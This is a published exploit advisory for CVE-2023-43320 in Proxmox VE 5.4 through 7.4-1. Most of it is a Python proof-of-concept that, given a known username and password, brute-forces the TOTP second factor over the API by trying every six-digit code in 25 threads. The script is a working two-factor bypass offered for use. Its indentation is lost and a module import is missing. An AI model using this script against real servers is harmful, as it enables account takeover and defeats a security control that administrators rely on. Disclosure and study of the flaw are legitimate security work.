Authored by Gabe Rust, Cory Cline

Proxmox VE versions 5.4 through 7.4-1 suffer from a TOTP brute forcing vulnerability.

advisories | CVE-2023-43320

# Exploit Title: Proxmox VE TOTP Brute Force
# Date: 09/23/2023
# Exploit Author: Cory Cline, Gabe Rust
# Vendor Homepage: https://www.proxmox.com/en/
# Software Link: http://download.proxmox.com/iso/
# Version: 5.4 - 7.4-1
# Tested on: Debian
# CVE : CVE-2023-43320

import time
import requests
import urllib.parse
import json
import os
import urllib3

urllib3.disable_warnings()
threads=25

#################### REPLACE THESE VALUES #########################
password="KNOWN PASSWORD HERE"
username="KNOWN USERNAME HERE"
target_url="https://HOST:PORT"
##################################################################

ticket=""
ticket_username=""
CSRFPreventionToken=""
ticket_data={}

auto_refresh_time = 20 # in minutes - 30 minutes before expiration
last_refresh_time = 0

tokens = [];

for num in range(0,1000000):
tokens.append(str(num).zfill(6))

def refresh_ticket(target_url, username, password):
global CSRFPreventionToken
global ticket_username
global ticket_data
refresh_ticket_url = target_url + "/api2/extjs/access/ticket"
refresh_ticket_cookies = {}
refresh_ticket_headers = {}
refresh_ticket_data = {"username": username, "password": password, "realm": "pve", "new-format": "1"}
ticket_data_raw = urllib.parse.unquote(requests.post(refresh_ticket_url, headers=refresh_ticket_headers, cookies=refresh_ticket_cookies, data=refresh_ticket_data, verify=False).text)
ticket_data = json.loads(ticket_data_raw)
CSRFPreventionToken = ticket_data["data"]["CSRFPreventionToken"]
ticket_username = ticket_data["data"]["username"]

def attack(token):
global last_refresh_time
global auto_refresh_time
global target_url
global username
global password
global ticket_username
global ticket_data
if ( int(time.time()) > (last_refresh_time + (auto_refresh_time * 60)) ):
refresh_ticket(target_url, username, password)
last_refresh_time = int(time.time())

url = target_url + "/api2/extjs/access/ticket"
cookies = {}
headers = {"Csrfpreventiontoken": CSRFPreventionToken}
stage_1_ticket = str(json.dumps(ticket_data["data"]["ticket"]))[1:-1]
stage_2_ticket = stage_1_ticket.replace('"totp":', '"totp"%3A').replace('"recovery":', '"recovery"%3A')
data = {"username": ticket_username, "tfa-challenge": stage_2_ticket, "password": "totp:" + str(token)}
response = requests.post(url, headers=headers, cookies=cookies, data=data, verify=False)
if(len(response.text) > 350):
print(response.text)
os._exit(1)

while(1):
refresh_ticket(target_url, username, password)
last_refresh_time = int(time.time())

with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
res = [executor.submit(attack, token) for token in tokens]
concurrent.futures.wait(res)